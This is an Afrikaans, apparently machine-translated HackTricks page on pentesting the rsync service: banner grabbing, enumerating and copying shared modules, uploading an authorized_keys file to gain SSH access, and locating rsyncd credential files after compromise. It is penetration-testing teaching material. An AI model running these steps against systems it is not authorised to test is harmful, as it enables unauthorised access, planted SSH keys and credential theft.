hacktricks/network-services-pentesting/873-pentesting-rsync.md
2024-02-11 02:07:06 +00:00

9.2 KiB

873 - Pentesting Rsync

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Vanaf wikipedia:

rsync is 'n hulpmiddel vir doeltreffende oorplasing en sinsronisering van lêers tussen 'n rekenaar en 'n eksterne harde skyf en oor netwerkgekoppelde rekenaars deur die wyzigingstye en groottes van lêers te vergelyk.[3] Dit word algemeen gevind op Unix-soortgelyke bedryfstelsels. Die rsync-algoritme is 'n tipe delta-kodering en word gebruik om netwerkgebruik te verminder. Zlib kan gebruik word vir addisionele datakompressie,[3] en SSH of stunnel kan gebruik word vir sekuriteit.

Verstekpoort: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Opname

Baniere & Handleiding kommunikasie

Die eerste stap in die opname van 'n rsync-diens is om die baniere en handleiding kommunikasie te ondersoek. Hierdie inligting kan waardevolle inligting verskaf oor die diens en moontlike kwesbaarhede.

Baniere

Om die baniere van 'n rsync-diens te ondersoek, kan jy die volgende opdrag gebruik:

nc <target_ip> <target_port>

As jy 'n suksesvolle verbinding maak, sal jy die baniere van die rsync-diens sien. Hierdie inligting kan nuttig wees om die spesifieke weergawe van die rsync-diens te identifiseer en moontlike kwesbaarhede te vind.

Handleiding kommunikasie

Om die handleiding kommunikasie van 'n rsync-diens te ondersoek, kan jy die volgende opdrag gebruik:

rsync <target_ip>::

Hierdie opdrag sal 'n lys van beskikbare modules vir die rsync-diens gee. Dit kan nuttige inligting verskaf oor die struktuur en inhoud van die diens.

Portskandering

Die volgende stap in die opnameproses is om die poorte van die rsync-diens te skandeer om te bepaal watter poorte oop is en beskikbaar is vir kommunikasie.

Jy kan 'n skandering van die poorte uitvoer deur die volgende opdrag te gebruik:

nmap -p <port_range> <target_ip>

Vervang <port_range> met die spesifieke poortreeks wat jy wil skandeer, en <target_ip> met die IP-adres van die teikenstelsel.

Die resultate van die poortskandering kan aandui watter poorte oop is en moontlik toegang tot die rsync-diens bied.

Module-analise

Nadat jy 'n lys van beskikbare modules vir die rsync-diens verkry het, kan jy elke module ondersoek om te bepaal watter aksies en funksies beskikbaar is.

Om 'n spesifieke module te ondersoek, kan jy die volgende opdrag gebruik:

rsync <target_ip>::<module_name>

Vervang <target_ip> met die IP-adres van die teikenstelsel en <module_name> met die naam van die spesifieke module wat jy wil ondersoek.

Hierdie analise kan jou help om die funksionaliteit en moontlike kwesbaarhede van elke module te verstaan.

Verkenning van kwesbaarhede

Nadat jy die rsync-diens ondersoek het, kan jy spesifieke kwesbaarhede verken om toegang tot die stelsel te verkry.

Hier is 'n paar algemene kwesbaarhede wat jy kan ondersoek:

  • Geen wagwoord vereis: Sommige rsync-dienskonfigurasies mag nie 'n wagwoord vereis nie, wat beteken dat jy sonder verifikasie toegang kan verkry.
  • Onveilige oorskrywing: As die rsync-diens oorskrywing toelaat, kan jy moontlik skadelike lêers oorskryf en uitvoerbaar maak.
  • Onveilige lêerhantering: As die rsync-diens nie behoorlike lêerhantering toepas nie, kan jy moontlik toegang verkry tot gevoelige lêers of lêers wat nie bedoel is om gedeel te word nie.

Deur hierdie kwesbaarhede te ondersoek, kan jy moontlik toegang tot die stelsel verkry en verdere aanvalle uitvoer.

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Opsomming van Gedeelde Lêers

Rsync-modules word erken as gidsaandele wat moontlik met wagwoorde beskerm kan word. Om beskikbare modules te identifiseer en te kontroleer of hulle wagwoorde vereis, word die volgende opdragte gebruik:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Wees bewus dat sommige aandele moontlik nie in die lys verskyn nie en moontlik versteek is. Daarbenewens kan toegang tot sommige aandele beperk word tot spesifieke geloofsbriewe, aangedui deur 'n "Toegang Geweier" boodskap.

Brute Force

Handleiding Rsync Gebruik

Na die verkryging van 'n modulelys, hang die aksies af van of verifikasie nodig is. Sonder verifikasie word lysmaak en kopiëring van lêers van 'n gedeelde vouer na 'n plaaslike gids bereik deur middel van:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Hierdie proses oordra rekursief lêers, met behoud van hul eienskappe en regte.

Met volmagte, kan die lys en aflaai vanuit 'n gedeelde vouer so gedoen word, waar 'n wagwoordversoek sal verskyn:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Om inhoud soos 'n authorized_keys lêer vir toegang te oplaai, gebruik:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Om die rsyncd-konfigurasie-lêer op te spoor, voer die volgende uit:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Binne hierdie lêer kan 'n secrets-lêer parameter na 'n lêer verwys wat gebruikersname en wagwoorde vir rsyncd-verifikasie bevat.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: